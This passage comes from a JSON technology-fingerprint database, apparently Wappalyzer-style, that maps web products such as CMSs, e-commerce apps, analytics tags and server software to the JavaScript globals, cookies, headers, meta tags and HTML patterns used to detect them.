Cross-Sell":{},"Yahoo Advertising":{"js":["yahoo_ydn_conv_label","yahoo_ydn_conv_transaction_id","adxinserthtml","yahoocvload","yahoo_retargeting_pv_id"]},"BrainSINS":{"js":["brainsins_token","launchbrainsins","brainsins","brainsinsrecommender"]},"Resy":{"js":["resywidget"]},"StackCommerce":{"js":["stacksonar"]},"Afterpay":{"js":["afterpaywidgethtml","afterpay_product","checkout.enabledpayments.afterpay","afterpay","afterpay.version","afterpayattractwidget","afterpaygenericerrorhtml"]},"Linkedin Insight Tag":{"js":["oribi","_linkedin_data_partner_id","_linkedin_partner_id"]},"Campaign Monitor":{},"Remarkable Commerce":{"js":["remarkable.basketitems"]},"e107":{"cookies":{"e107_tz":""},"headers":{"x-powered-by":"e107"},"implies":["PHP"]},"Contentful":{"headers":{"x-contentful-request-id":""},"html":["\u003c[^\u003e]+(?:https?:)?//(?:assets|downloads|images|videos)\\.(?:ct?fassets\\.net|contentful\\.com)"]},"RevLifter":{"cookies":{"revlifter":""},"js":["revlifterobject","revlifter"]},"Sirdata":{"js":["sddan.cmp","sddan.cmploaded"]},"Acquia Cloud Platform":{"headers":{"x-ah-environment":"^\\w+$"},"implies":["Amazon Web Services"]},"Meeting Scheduler":{},"YooMoney":{"headers":{"content-security-policy":"\\.yoomoney\\.ru"}},"Adobe Experience Manager":{"html":["\u003cdiv class=\"[^\"]*parbase","\u003cdiv[^\u003e]+data-component-path=\"[^\"+]jcr:","\u003cdiv class=\"[^\"]*aem-grid"],"implies":["Java"]},"Medallia":{"cookies":{"k_visit":""},"js":["kampyle_common","k_track","kampyle"]},"Monaco Editor":{"js":["monacoenvironment","monaco.editor"],"css":["\\.monaco-editor"]},"Video Greet":{"js":["__vg.video_greet_button_src"]},"WebsiteBaker":{"meta":{"generator":["websitebaker"]},"implies":["PHP","MySQL"]},"BlueConic":{"js":["blueconicengagement","blueconicclient","blueconicprelisteners","loadvaluesfromblueconic"]},"OneAll":{"js":["oa_social_login"]},"SmugMug":{"js":["_smugsp"],"headers":{"smug-cdn":""}},"Klaviyo":{"js":["klaviyosubscribe","klaviyo"]},"Subbly":{"js":["subblyproducturlbase"],"meta":{"generator":["^subbly$"]}},"Pixnet":{"js":["pix.mib"]},"RedCart":{"cookies":{"rc2c-erotica":"\\d+"},"js":["rc_shop_id"]},"Totango":{"js":["totango","totangoloader"]},"ThemeZee Poseidon":{"js":["poseidonscreenreadertext"]},"Searchspring":{"js":["searchspringconf","searchspringinit","searchspring"]},"CppCMS":{"headers":{"x-powered-by":"^cppcms/([\\d.]+)$\\;version:\\1"}},"Strato":{},"NTLM":{"headers":{"www-authenticate":"^ntlm"}},"Fontify":{},"OpenPay":{},"The Hotels Network":{"js":["thn.data.version"],"headers":{"content-security-policy":"\\.thehotelsnetwork\\.com","content-security-policy-report-only":"\\.thehotelsnetwork\\.com"}},"Verifone 2Checkout":{},"Refersion":{},"Flutter":{"js":["_flutter.loader","_flutter_web_set_location_strategy","fluttercanvaskit"],"meta":{"id":["^flutterweb-theme$"]},"implies":["Dart"]},"Twenty Sixteen":{},"SALESmanago":{"js":["salesmanagoobject"]},"Quicq":{},"Chevereto":{"js":["chevereto.version"],"meta":{"generator":["chevereto\\s(?:[\\d\\.]+)"]},"implies":["PHP"]},"InstantGeo":{"js":["geojs"]},"TrustYou":{},"Flywheel":{"headers":{"x-fw-serve":"","x-fw-server":"^flywheel(?:/([\\d.]+))?\\;version:\\1","x-fw-static":"","x-fw-type":"","x-fw-hash":""},"implies":["WordPress"]},"PHP":{"cookies":{"phpsessid":""},"headers":{"x-powered-by":"^php/?([\\d.]+)?\\;version:\\1","server":"php/?([\\d.]+)?\\;version:\\1"}},"Amiro.CMS":{"meta":{"generator":["amiro"]},"implies":["PHP"]},"Aurelia":{"js":["_aureliaconfiguremoduleloader","localaurelia"]},"Junip":{"js":["juniploaded","webpackchunkjunip_scripts"]},"IPInfoDB":{},"AT Internet XiTi":{"js":["xt_click"]},"Contao":{"meta":{"generator":["^contao open source cms$"]},"implies":["PHP"]},"Printful":{"implies":["Cart Functionality"]},"Loja Mestre":{"meta":{"webmaster":["www\\.lojamestre\\.\\w+\\.br"]}},"Prefix-Free":{"js":["prefixfree"]},"Artifactory":{"js":["artifactoryupdates"],"html":["\u003cspan class=\"version\"\u003eartifactory(?: pro)?(?: power pack)?(?: ([\\d.]+))?\\;version:\\1"]},"Apisearch":{},"33Across":{"js":["tynt"]},"Vuetify":{"css":["\\.v-application \\.d-block"],"implies":["Vue.js"]},"Analysys Ark":{"cookies":{"ark_id":""},"js":["analysysagent"]},"Spring":{"headers":{"x-application-context":""},"implies":["Java"]},"Red Hat":{"headers":{"server":"red hat","x-powered-by":"red hat"}},"Less":{"html":["\u003clink[^\u003e]+ rel=\"stylesheet/less\""]},"OpenCms":{"headers":{"server":"opencms"},"html":["\u003clink href=\"/opencms/"],"implies":["Java"]},"Pepperjam":{"js":["pepperjam","pepperjamtracking"]},"OrderLogic app":{"js":["orderlogic.alerts_key","orderlogic.default_money_format","orderlogic.cartdata"],"implies":["Shopify"]},"Envo eCommerce":{},"Skio":{"implies":["Shopify"]},"Blazor":{"implies":["Microsoft ASP.NET"]},"Amazon Aurora":{"implies":["Amazon Web Services"]},"Windows Server":{"headers":{"server":"win32|win64"}},"Red Hat Gluster":{},"Firepush":{"implies":["Shopify"]},"Dynamicweb":{"cookies":{"dynamicweb":""},"meta":{"generator":["dynamicweb ([\\d.]+)\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"Azure Monitor":{"headers":{"content-security-policy":"js\\.monitor\\.azure\\.com"},"implies":["Azure"]},"mod_ssl":{"headers":{"server":"mod_ssl(?:/([\\d.]+))?\\;version:\\1"},"implies":["Apache"]},"Saba.Host":{},"Limepay":{"js":["limepayidentity","wc_ga_pro.available_gateways.limepay"]},"Redmine":{"cookies":{"_redmine_session":""},"html":["powered by \u003ca href=\"[^\u003e]+redmine"],"meta":{"description":["redmine"]},"implies":["Ruby on Rails"]},"Contact Form 7":{"js":["wpcf7"]},"Autoptimize":{},"SmartSite":{"html":["\u003c[^\u003e]+/smartsite\\.(?:dws|shtml)\\?id="],"meta":{"author":["redacteur smartinstant"]}},"Spotify Widgets":{},"Bold Custom Pricing":{"js":["bold.csp.version"],"implies":["Shopify","Bold Commerce"]},"VDX.tv":{},"UserLike":{"js":["userlike","userlikeinit"]},"LaunchDarkly":{"js":["ddc.ws.state","launchdarkly"]},"ThreatMetrix":{},"Imber":{"js":["$imber.getvisitor","imber_id","imber_socket"]},"Shopify Geolocation App":{"implies":["Shopify"]},"Booster Page Speed Optimizer":{},"Translate WordPress":{},"xCharts":{"js":["xchart"],"html":["\u003clink[^\u003e]* href=\"[^\"]*xcharts(?:\\.min)?\\.css"],"implies":["D3"]},"WHMCS":{"js":["whmcs"]},"decimal.js":{"js":["decimal.round_half_floor"]},"Better Price":{"js":["fc_metafield_betterprice.betterpricesuccess"],"implies":["Shopify"]},"SeamlessCMS":{"meta":{"generator":["^seamless\\.?cms"]}},"AOS":{"js":["aos.refresh","aos.refreshhard","aos.init"]},"Tawk.to":{"cookies":{"tawkconnectiontime":""}},"Global-e":{"cookies":{"globale_ct_data":"","globale_data":"","globale_supportthirdpartcookies":""},"js":["globale","globale_engine_config"]},"Niagahoster":{"headers":{"x-powered-by":"niagahoster"},"implies":["Niagahoster"]},"Shiny":{"js":["shiny.addcustommessagehandler"]},"Titan":{"js":["titan","titanenabled"]},"PostgreSQL":{},"CodeSandbox":{},"Autoketing":{},"Lucene":{"implies":["Java"]},"OXID eShop Community Edition":{"html":["\u003c!--[^-]*oxid eshop community edition, version (\\d+)\\;version:\\1"],"implies":["PHP"]},"Wordfence Login Security":{},"VuePress":{"meta":{"generator":["^vuepress(?: ([0-9.]+)(-[a-z]+.[0-9]+)?)?$\\;version:\\1"]},"implies":["Vue.js"]},"Acquire Live Chat":{"js":["_acquire_init_config","acquire"]},"Sanity":{"headers":{"x-sanity-shard":"","content-security-policy":"cdn\\.sanity\\.io"}},"Klevu":{"js":["klevu_layout","klevu_sessionid","klevu_apikey"]},"Includable":{"headers":{"x-includable-version":""}},"Deutsche Post":{},"Wix eCommerce":{"implies":["Wix"]},"LinkSmart":{"js":["ls_json","linksmart","_mb_site_guid"]},"Blue Triangle":{"js":["_bttutil.version"]},"Hostpoint":{},"wisyCMS":{"meta":{"generator":["^wisy cms[ v]{0,3}([0-9.,]*)\\;version:\\1"]}},"Soisy":{},"Anetwork":{},"VK Pixel":{},"DigitalRiver":{"cookies":{"x-dr-shopper-ets":"","x-dr-theme":"^\\d+$"},"js":["digitalriver"]},"Lithium":{"cookies":{"lithiumvisitor":""},"js":["lithium"],"html":[" \u003ca [^\u003e]+powered by lithium"],"implies":["PHP"]},"DM Polopoly":{"implies":["Java"]},"EraofEcom MTL":{"implies":["Shopify"]},"WPMU DEV Smush":{},"Auryc":{"js":["aurycjslibconfig.base.code_version"]},"CoRover":{"js":["corover_tag"]},"Haddock":{"html":["\u003cp\u003eproduced by \u003ca href=\"http://www\\.haskell\\.org/haddock/\"\u003ehaddock\u003c/a\u003e version ([0-9.]+)\u003c/p\u003e\\;version:\\1"]},"PHP-Nuke":{"html":["\u003c[^\u003e]+powered by php-nuke"],"meta":{"generator":["php-nuke"]},"implies":["PHP"]},"uRemediate":{},"Catch Themes Fotografie":{},"Astute Solutions":{},"Satori Studio Bento":{},"Oxi Social Login":{},"OpenNemas":{"headers":{"x-powered-by":"opennemas"},"meta":{"generator":["opennemas"]}},"EWWW Image Optimizer":{"js":["ewww_webp_supported"]},"Helhost":{"headers":{"x-powered-by":"helhost"}},"Thesis":{"js":["thix.history","thix.t"]},"Essent SiteBuilder Pro":{"meta":{"generator":["^essent® sitebuilder pro$"]}},"Kartra":{"js":["init_kartra_tracking","kartra_tracking_loaded"]},"Wakav Performance Monitoring":{},"Searchanise":{"js":["searchanise"]},"e-goi":{"js":["_egoiaq","egoimmerce"]},"CareCart":{"implies":["Shopify"]},"GoCache":{"headers":{"server":"^gocache$","x-gocache-cachestatus":""}},"Unbxd":{"js":["unbxd.version"]},"Adobe Target":{"js":["adobe.target","adobe.target.version"]},"Stackify":{},"Retail Rocket":{"cookies":{"rr-testcookie":"testvalue","rrpvid":"^\\d+$"},"js":["rraddtobasket","rrapionready","rrlibrary","rrpartnerid","retailrocket"]},"Bablic":{"js":["bablic"]},"MySQL":{},"Marketo Forms":{"js":["formatmarketoform"]},"Transcend":{"js":["transcend"]},"Mermaid":{"js":["mermaid"],"html":["\u003cdiv [^\u003e]*class=[\"']mermaid[\"']\u003e\\;confidence:90"]},"Tumblr":{"headers":{"x-tumblr-user":""},"html":["\u003ciframe src=\"[^\u003e]+tumblr\\.com"]},"BugSnag":{"js":["bugsnag","bugsnag","bugsnagclient"]},"GumGum":{},"AquilaCMS":{"meta":{"powered-by":["aquilacms"]},"implies":["Next.js","Node.js","React","MongoDB","Amazon Web Services"]},"Hello Elementor":{"implies":["Elementor"]},"SpurIT":{"js":["spurit.global.version"],"implies":["Shopify"]},"Inventrue":{"meta":{"author":["^inventrue, llc.$"]}},"Zocdoc":{},"Jitsi":{},"Amazon Pay":{"js":["amazonpayments","offamazonpayments","enableamazonpay","onamazonpaymentsready"],"meta":{"id":["amazon-payments-metadata"]}},"VideoJS":{"js":["videojs","videojs","videojs.version"],"css":["\\.video-js\\;confidence:25","\\.vjs-big-play-button\\;confidence:75"]},"AfterShip":{"js":["aftership.__version__"]},"JoomShopping":{"js":["joomshoppingvideohtml5"],"implies":["Joomla"]},"Bonfire":{"cookies":{"bf_session":""},"html":["powered by \u003ca[^\u003e]+href=\"https?://(?:www\\.)?cibonfire\\.com[^\u003e]*\u003ebonfire v([^\u003c]+)\\;version:\\1"],"implies":["CodeIgniter"]},"Localised":{},"MyWebsite Creator":{"implies":["Duda"]},"Zaraz":{"js":["zaraz","zarazdata"]},"Bigware":{"cookies":{"bigwarecsid":"","bigwadminid":""},"html":["(?:diese \u003ca href=[^\u003e]+bigware\\.de|\u003ca href=[^\u003e]+/main_bigware_\\d+\\.php)"],"implies":["PHP"]},"shine.js":{"js":["shine"]},"JouwWeb":{"js":["jouwweb"]},"GoStats":{"js":["_gostatsrun","_go_track_src","go_msie"]},"Sqreen":{"headers":{"x-protected-by":"^sqreen$"}},"Google Tag Manager":{"js":["google_tag_manager","googletag"],"html":["googletagmanager\\.com/ns\\.html[^\u003e]+\u003e\u003c/iframe\u003e","\u003c!-- (?:end )?google tag manager --\u003e"]},"Pure Chat":{"js":["pcwidget","purechatapi"]},"DataLife Engine":{"js":["dle_root"],"meta":{"generator":["datalife engine"]},"implies":["PHP","Apache"]},"plentyShop LTS":{"headers":{"x-plenty-shop":"ceres"}},"Emarsys":{"js":["scarab","scarabqueue"]},"@sulu/web":{"js":["web.startcomponents"]},"Google Cloud Storage":{"headers":{"x-goog-storage-class":"^\\w+$"},"implies":["Google Cloud"]},"Ochanoko":{"js":["ocnkproducts"]},"Yepcomm":{"meta":{"author":["yepcomm tecnologia"],"copyright":["yepcomm tecnologia"]}},"Govalo":{"js":["govalo.meta"],"implies":["Shopify"]},"Movable Ink":{"js":["movableinktrack"]},"Chord":{"js":["chordconnect","chordconnect.__esmodule"]},"JivoChat":{"js":["jivo_api","jivo_version"]},"ExtJS":{"js":["ext","ext.version","ext.versions.extjs.version"]},"MailerLite":{"js":["mailerliteobject"]},"JSS":{},"PixelYourSite":{"js":["pysoptions","pys_generate_token","pys.facebook"]},"Yahoo! Web Analytics":{"js":["ywa"]},"Wordfence":{"js":["wordfenceajaxwatcher"]},"Wolf CMS":{"html":["(?:\u003ca href=\"[^\u003e]+wolfcms\\.org[^\u003e]+\u003ewolf cms(?:\u003c/a\u003e)? inside|thank you for using \u003ca[^\u003e]+\u003ewolf cms)"],"implies":["PHP"]},"Profitwell":{"js":["profitwell"]},"Rust":{},"Convert":{"js":["convert","convertdata","convert_temp"]},"Juo":{},"ThriveCart":{"js":["thrivecart"]},"CrossBox":{"headers":{"server":"cbx-ws"}},"AndersNoren Fukasawa":{},"Q4 Cookie Monster":{},"Bronto":{"js":["brontocookieconsent","brontoshopify","bronto.versions.sca"]},"VerifyPass":{"js":["verifypass_api_instantiator","verifypass_is_loaded","verifypass_popup"]},"ExtendThemes EmpowerWP":{},"Moove GDPR Consent":{"js":["moove_frontend_gdpr_scripts"]},"RecoverMyCart":{"implies":["Shopify"]},"Navegg":{},"Gutenberg":{},"Phusion Passenger":{"headers":{"server":"phusion passenger ([\\d.]+)\\;version:\\1","x-powered-by":"phusion passenger(?:\\(r\\))? ?([\\d.]+)?\\;version:\\1"}},"Aimtell":{"js":["_aimtellwebhook","_aimtellload","_aimtellpushtoken"]},"StorifyMe":{},"StackPath":{"headers":{"x-backend-server":"hosting\\.stackcp\\.net$","x-provided-by":"^stackcdn(?: ([\\d.]+))?\\;version:\\1"}},"Hyperspeed":{"js":["hyperscripts"],"implies":["Shopify","Instant.Page"]},"List.js":{"js":["list"]},"Lightning":{"js":["lightningopt.header_scrool"]},"Facil-iti":{},"Google My Business":{},"GoatCounter":{},"LivePerson":{"js":["lptag.chronos"]},"Typof":{"cookies":{"typof_session":"\\;confidence:50"}},"Dart":{"js":["$__dart_deferred_initializers__","___dart__$dart_dartobject_zxyxx_0_","___dart_dispatch_record_zxyxx_0_"]},"nopCommerce":{"cookies":{"nop.customer":""},"html":["(?:\u003c!--powered by nopcommerce|powered by: \u003ca[^\u003e]+nopcommerce)"],"meta":{"generator":["^nopcommerce$"]},"implies":["Microsoft ASP.NET"]},"Backbone.js":{"js":["backbone","backbone.version"],"implies":["Underscore.js"]},"imperia CMS":{"html":["\u003cimp:live-info sysid=\"[0-9a-f-]+\"(?: node_id=\"[0-9/]*\")? *\\/\u003e"],"meta":{"x-imperia-live-info":[],"generator":["^imperia ([0-9.]{2,3})\\;version:\\1"]},"implies":["Perl"]},"metisMenu":{"js":["metismenu","metismenu"],"implies":["jQuery"]},"Redonner":{},"Coinhave":{},"Shopware":{"headers":{"sw-version-id":"\\;version:6","sw-context-token":"^[\\w]{32}$\\;version:6","sw-invalidation-states":"\\;version:6","sw-language-id":"^[a-fa-f0-9]{32}$\\;version:6"},"html":["\u003ctitle\u003eshopware ([\\d\\.]+) [^\u003c]+\\;version:\\1"],"meta":{"application-name":["shopware"]},"implies":["PHP","MySQL","jQuery","Symfony"]},"Qstomizer":{"js":["jqueryqsmz","loadscript_qsmz","qstomizer_script"]},"snigel AdConsent":{"js":["adconsent.version","snhb.basesettings","snhb.info.cmpversion"]},"GloriaFood":{"js":["glfbindbuttons","glfwidget"]},"MAJIN":{"js":["ma.touch"]},"Mollom":{"html":["\u003cimg[^\u003e]+\\.mollom\\.com"]},"Resmio":{"js":["resmiobutton"]},"AdOpt":{"js":["adoptapp.domain","adopt_website_code"]},"AWS WAF Captcha":{"headers":{"x-amzn-waf-action":"^captcha$"},"implies":["Amazon Web Services"]},"Admiral":{"js":["admiral"]},"e-Shop Commerce":{},"Zakeke":{"js":["zakekeboot","zakekecustomizelabel","zakekeloading","zakekeproductpage"]},"Simplio Upsells":{"implies":["Shopify"]},"Obsidian Incentivize":{"js":["obsidian.incentiveapi"]},"Crisp Live Chat":{"js":["$__crisp_included","$crisp","crisp_website_id"]},"Amplience":{"js":["ampliancetemplates"]},"Pelican":{"html":["powered by \u003ca href=\"[^\u003e]+getpelican\\.com","powered by \u003ca href=\"https?://pelican\\.notmyidea\\.org"],"implies":["Python"]},"Gerrit":{"js":["gerrit","gerrit_ui"],"html":["\u003egerrit code review\u003c/a\u003e\\s*\"\\s*\\(([0-9.]+)\\)\\;version:\\1","\u003c(?:div|style) id=\"gerrit_"],"meta":{"title":["^gerrit code review$"]},"implies":["Java","git"]},"Apigee":{"html":["\u003cscript\u003e[^\u003e]{0,50}script src=[^\u003e]/profiles/apigee"]},"Jirafe":{"js":["jirafe"]},"OrbitFox":{},"Formitable":{},"Customer.io":{},"JW Player":{"js":["jwdefaults","jwplayer","jwplayerapiurl","webpackjsonpjwplayer"]},"Stage Try":{"js":["stage_cart_change_events","stage_cart_total_price"]},"Highstock":{"html":["\u003csvg[^\u003e]*\u003e\u003cdesc\u003ecreated with highstock ([\\d.]*)\\;version:\\1"]},"Boats Group":{},"Refundid":{"js":["launchrefundidpopup"]},"Food-Ordering.co.uk":{"js":["getorderacceptfor","storetoc","disablecollection","disabledelivery"]},"A8.net":{"js":["a8salescookierepository","a8sales","map_a8"]},"Malomo":{"js":["malomo"]},"Drip":{},"Route":{"js":["routeapp"]},"ClientJS":{"js":["clientjs"]},"Four":{"js":["four"]},"Seravo":{"headers":{"x-powered-by":"^seravo"},"implies":["WordPress"]},"WooCommerce":{"js":["woocommerce_params"],"meta":{"generator":["woocommerce ([\\d.]+)\\;version:\\1"]}},"Zipify Pages":{"js":["zipifypages"],"implies":["Shopify"]},"Virgool":{"headers":{"x-powered-by":"^virgool$"}},"Invenio":{"cookies":{"inveniosession":""},"html":["(?:powered by|system)\\s+(?:cern )?\u003ca (?:class=\"footer\" )?href=\"http://(?:cdsware\\.cern\\.ch(?:/invenio)?|invenio-software\\.org|cern\\.ch/invenio)(?:/)?\"\u003e(?:cds )?invenio\u003c/a\u003e\\s*v?([\\d\\.]+)?\\;version:\\1"]},"LEPTON":{"meta":{"generator":["lepton"]},"implies":["PHP"]},"Lazada":{"meta":{"aplus-auto-exp":["lzdhome\\.desktop\\."]}},"git":{"meta":{"generator":["\\bgit/([\\d.]+\\d)\\;version:\\1"]}},"Buyapowa":{"js":["buyapowa.canarycheck"]},"KISSmetrics":{"js":["km_cookie_domain"]},"Cloudflare Bot Management":{"cookies":{"__cf_bm":""},"implies":["Cloudflare"]},"webEdition":{"meta":{"generator":["webedition"],"dc.title":["webedition"]}},"Statically":{"headers":{"server":"^statically$"},"html":["\u003clink [^\u003e]*?href=\"?[a-z]*?:?//cdn\\.statically\\.io/"]},"Permutive":{"js":["permutive"]},"SunOS":{"headers":{"server":"sunos( [\\d\\.]+)?\\;version:\\1","servlet-engine":"sunos( [\\d\\.]+)?\\;version:\\1"}},"commercelayer":{},"Asana":{},"JSEcoin":{"js":["jsemine"]},"SVG Support":{},"Javadoc":{"html":["\u003c!-- generated by javadoc --\u003e"]},"USPS":{},"Haptik":{"js":["haptiksdk","haptik","haptikinitsettings"]},"Snap.svg":{"js":["snap.version"]},"mini_httpd":{"headers":{"server":"mini_httpd(?:/([\\d.]+))?\\;version:\\1"}},"GeneXus":{"js":["gx.gxversion"],"html":["\u003clink[^\u003e]+?id=\"gxtheme_css_reference\""]},"CookieFirst":{"js":["cookiefirst_show_settings"]},"Babel":{"js":["_babelpolyfill"]},"Accessible360":{},"Mediavine":{"cookies":{"mediavine_session":""},"js":["$mediavine.web"]},"CrownPeak":{"js":["crownpeakautocomplete","crownpeaksearch"]},"BugHerd":{"js":["bugherdconfig"]},"hantana":{"js":["hantana"]},"Umbraco":{"js":["uc_image_service|item_info_service","uc_item_info_service","uc_settings","umbraco"],"headers":{"x-umbraco-version":"^(.+)$\\;version:\\1"},"meta":{"generator":["umbraco"]},"implies":["Microsoft ASP.NET"]},"Storyblok":{"meta":{"generator":["storyblok"]}},"Batflat":{"meta":{"generator":["^batflat$"]},"implies":["PHP","SQLite"]},"Mindbox":{"js":["mindboxendpointsettings","mindbox","mindboxbatchedmodulesinitialized"]},"reCAPTCHA":{"js":["recaptcha","recaptcha"]},"UNIX":{"headers":{"server":"unix"}},"iEXExchanger":{"cookies":{"iexexchanger_session":""},"meta":{"generator":["iexexchanger"]},"implies":["PHP","Apache","Angular"]},"ZURB Foundation":{"js":["foundation.version"],"html":["\u003clink[^\u003e]+foundation[^\u003e\"]+css","\u003cdiv [^\u003e]*class=\"[^\"]*(?:small|medium|large)-\\d{1,2} columns"]},"SEOmatic":{"meta":{"generator":["^seomatic$"]},"implies":["Craft CMS"]},"theTradeDesk":{"js":["ttduniversalpixelapi","ttd_dom_ready"]},"EthicalAds":{},"XWiki":{"html":["\u003chtml[^\u003e]data-xwiki-[^\u003e]\u003e"],"meta":{"wiki":["xwiki"]},"implies":["Java\\;confidence:99"]},"Google Maps":{},"JavaServer Pages":{"headers":{"x-powered-by":"jsp(?:/([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Rockerbox":{"js":["rb.source"]},"Chatango":{},"Quill":{"js":["quill"]},"Fireblade":{"headers":{"server":"fbs"}},"Upvoty":{"js":["upvoty"],"implies":["PHP"]},"Transcy":{"js":["transcy_apiuri","transcy_shopifylocales","_transcy"]},"GeneratePress":{},"Hextom Free Shipping Bar":{"implies":["Shopify"]},"October CMS":{"cookies":{"october_session":""},"meta":{"generator":["octobercms"]},"implies":["Laravel"]},"Turbo":{"js":["turbo"]},"Discourse":{"js":["discourse"],"meta":{"generator":["discourse(?: ?/?([\\d.]+\\d))?\\;version:\\1"]},"implies":["Ruby on Rails"]},"ForoshGostar":{"cookies":{"aws.customer":""},"meta":{"generator":["^forosh\\s?gostar.*|arsina webshop.*$"]},"implies":["Microsoft ASP.NET"]},"Google Cloud CDN":{"headers":{"via":"^1\\.1 google$"},"implies":["Google Cloud"]},"ChannelAdvisor":{},"Cherokee":{"headers":{"server":"^cherokee(?:/([\\d.]+))?\\;version:\\1"}},"mod_rails":{"headers":{"server":"mod_rails(?:/([\\d.]+))?\\;version:\\1","x-powered-by":"mod_rails(?:/([\\d.]+))?\\;version:\\1"},"implies":["Ruby on Rails\\;confidence:50","Apache"]},"Clerk.io":{"js":["__clerk_cb_0","__clerk_q"]},"Epom":{"js":["epomcustomparams"]},"MindBody":{"js":["healcodewidget"]},"Bsale":{"cookies":{"_bsalemarket_session":""},"js":["bsale.version"],"meta":{"autor":["bsale"],"generator":["bsale"]},"implies":["Nginx"]},"Boxtal":{},"styled-components":{"js":["styled"],"implies":["React"]},"Dotdigital Chat":{"js":["_ddgchatconfig.urlbase"],"implies":["Dotdigital"]},"Volusion":{"js":["volusion"],"html":["\u003clink [^\u003e]*href=\"[^\"]*/vspfiles/\\;version:1","\u003cbody [^\u003e]*data-vn-page-name\\;version:2"]},"Riot":{"js":["riot"]},"FARFETCH Black \u0026 White":{},"FareHarbor":{"html":["\u003ciframe[^\u003e]+fareharbor"]},"Survicate":{"js":["survicate"],"headers":{"content-security-policy":"api\\.survicate\\.com"}},"WP Google Map Plugin":{"js":["wpgmp_local"]},"Chameleon":{"js":["chmln.snippet.urls.fast","chmlndata.organizationattributes"]},"ownCloud":{"html":["\u003ca href=\"https://owncloud\\.com\" target=\"_blank\"\u003eowncloud inc\\.\u003c/a\u003e\u003cbr/\u003eyour cloud, your data, your way!"],"meta":{"apple-itunes-app":["app-id=543672169"]},"implies":["PHP"]},"TerriaJS":{},"Avada AVASHIP":{"js":["avada_fsb.bars"]},"Enjin CMS":{"js":["enjin_core_storage_cache","enjin_ui"]},"Node.js":{},"WP Rocket":{"js":["rocketlazyloadscripts","rocketpreloadlinksconfig","rocket_lazy"],"headers":{"x-powered-by":"wp rocket(?:/([\\d.]+))?\\;version:\\1","x-rocket-nginx-bypass":""},"html":["\u003c!--[^\u003e]+wp rocket"]},"Aplazame":{"js":["aplazame"]},"Rocket.Chat":{"js":["rocketchat.livechat"]},"Atlassian Confluence":{"headers":{"x-confluence-request-time":""},"meta":{"confluence-request-time":[]},"implies":["Java"]},"ThemezHut HitMag":{},"SmartRecruiters":{},"JsObservable":{},"Pressable":{"headers":{"host-header":"^pressable"},"implies":["WordPress"]},"Exponea":{"js":["exponea.version"]},"ApexPages":{"headers":{"x-powered-by":"salesforce\\.com apexpages"},"implies":["Salesforce"]},"AnswerDash":{"js":["answerdash","answerdash.__plugin"]},"Envoy":{"headers":{"server":"^envoy$","x-envoy-upstream-service-time":""}},"ChargeAfter":{"js":["chargeafter"]},"Popmenu":{"cookies":{"popmenu-token":""},"js":["popmenuhydrated","popmenu_client"],"implies":["React","Apollo"]},"Serendipity":{"meta":{"generator":["serendipity(?: v\\.([\\d.]+))?\\;version:\\1"],"powered-by":["serendipity v\\.([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"Weglot":{"headers":{"weglot-translated":""}},"StoryStream":{},"Bootstrap Icons":{},"Wunderkind":{"js":["bouncex"],"headers":{"content-security-policy":"\\.smarterhq\\.io"}},"Wurfl":{"js":["wurfl"]},"Eveve":{"html":["\u003ciframe[^\u003e]*[\\w]+\\.eveve\\.com"],"implies":["PHP"]},"Personio":{},"SweetAlert":{"html":["\u003clink[^\u003e]+?href=\"[^\"]+sweet-alert(?:\\.min)?\\.css"]},"Narrativ":{},"Signifyd":{"js":["signifyd_global"]},"DocFX":{"meta":{"docfx:tocrel":["toc.html"],"generator":["docfx\\s([\\d\\.]+)\\;version:\\1"],"docfx:navrel":["toc.html"]}},"Partnerize":{},"PencilBlue":{"headers":{"x-powered-by":"pencilblue"},"implies":["Node.js"]},"Zoho PageSense":{"js":["$pagesense","pagesense"],"implies":["Zoho"]},"Censhare":{},"Olapic":{"js":["olapic.version","olapic"]},"Rumble":{"js":["rumble.resize","rumble.gdpr"]},"MonsterInsights":{"js":["monsterinsights","monsterinsights_frontend"]},"Heroku":{"headers":{"via":"[\\d.-]+ vegur$"}},"ColorMag":{},"scrollreveal":{"js":["scrollreveal().version"],"html":["\u003c[^\u003e]+data-sr(?:-id)"]},"Instana":{"js":["ineum"]},"Sylius":{"implies":["Symfony"]},"Booxi":{"js":["booxi","booxicontroller","bxe_core"]},"fullPage.js":{"js":["fullpage_api.version"],"implies":["jQuery"]},"ImpressPages":{"meta":{"generator":["impresspages(?: cms)?( [\\d.]*)?\\;version:\\1"]},"implies":["PHP"]},"DivideBuy":{"js":["display_dividebuy_modal"]},"Smarter Click":{"js":["$smcinstall","$smct5","$smctdata"]},"Green Valley CMS":{"html":["\u003cimg[^\u003e]+/dsresource\\?objectid="],"meta":{"dc.identifier":["/content\\.jsp\\?objectid="]},"implies":["Apache Tomcat"]},"Podium":{"js":["podiumwebchat","podiumwebsitewidgetloaded"]},"Coaster CMS":{"meta":{"generator":["^coaster cms v([\\d.]+)$\\;version:\\1"]},"implies":["Laravel"]},"EasyEngine":{"headers":{"x-powered-by":"^easyengine (.*)$\\;version:\\1"},"implies":["Docker"]},"Mokka":{},"HulkApps Age Verification":{"implies":["Shopify"]},"Forte":{},"AdRoll":{"js":["adroll_adv_id","adroll_pix_id","adroll_version"]},"KMK":{},"AlertifyJS":{"js":["alertify.defaults.autoreset"]},"The SEO Framework":{"html":["\u003c!--[^\u003e]+the seo framework by sybre waaijer"]},"Storeden":{"headers":{"x-powered-by":"storeden"}},"StackerHQ":{"js":["stacker.install_feature"]},"B2C Europe":{},"Pixieset Store":{"js":["pixiesetproducteditor","pixiesetproductoptionselection"]},"Splunkd":{"headers":{"server":"splunkd"}},"Rubicon Project":{},"AdaSiteCompliance":{"js":["adaschelper","adastoolboxappstate"]},"LiveAgent":{"js":["liveagent"]},"Speed Kit":{"js":["speedkit"]},"Uptrends":{"js":["utboomr.version"]},"WoowUp":{"js":["wu._trackproductvtexfield"]},"Solvemate":{"js":["solvemate.config.solvematecdn","solvematecli","solvemateconfig"]},"ClickTale":{"js":["clicktale","clicktaleevent","clicktaleglobal","clicktalestarteventsignal"]},"MailChimp for WooCommerce":{"implies":["MailChimp"]},"Newspack":{},"Bootstrap Table":{"html":["\u003clink[^\u003e]+href=\"[^\u003e]*bootstrap-table(?:\\.min)?\\.css"],"implies":["Bootstrap","jQuery"]},"Facebook Chat Plugin":{"js":["facebookchatsettings"]},"Chakra UI":{"implies":["React"]},"Sivuviidakko":{"meta":{"generator":["sivuviidakko"]}},"Atlassian Jira Issue Collector":{},"web-vitals":{"js":["webvitals"]},"Acquia Campaign 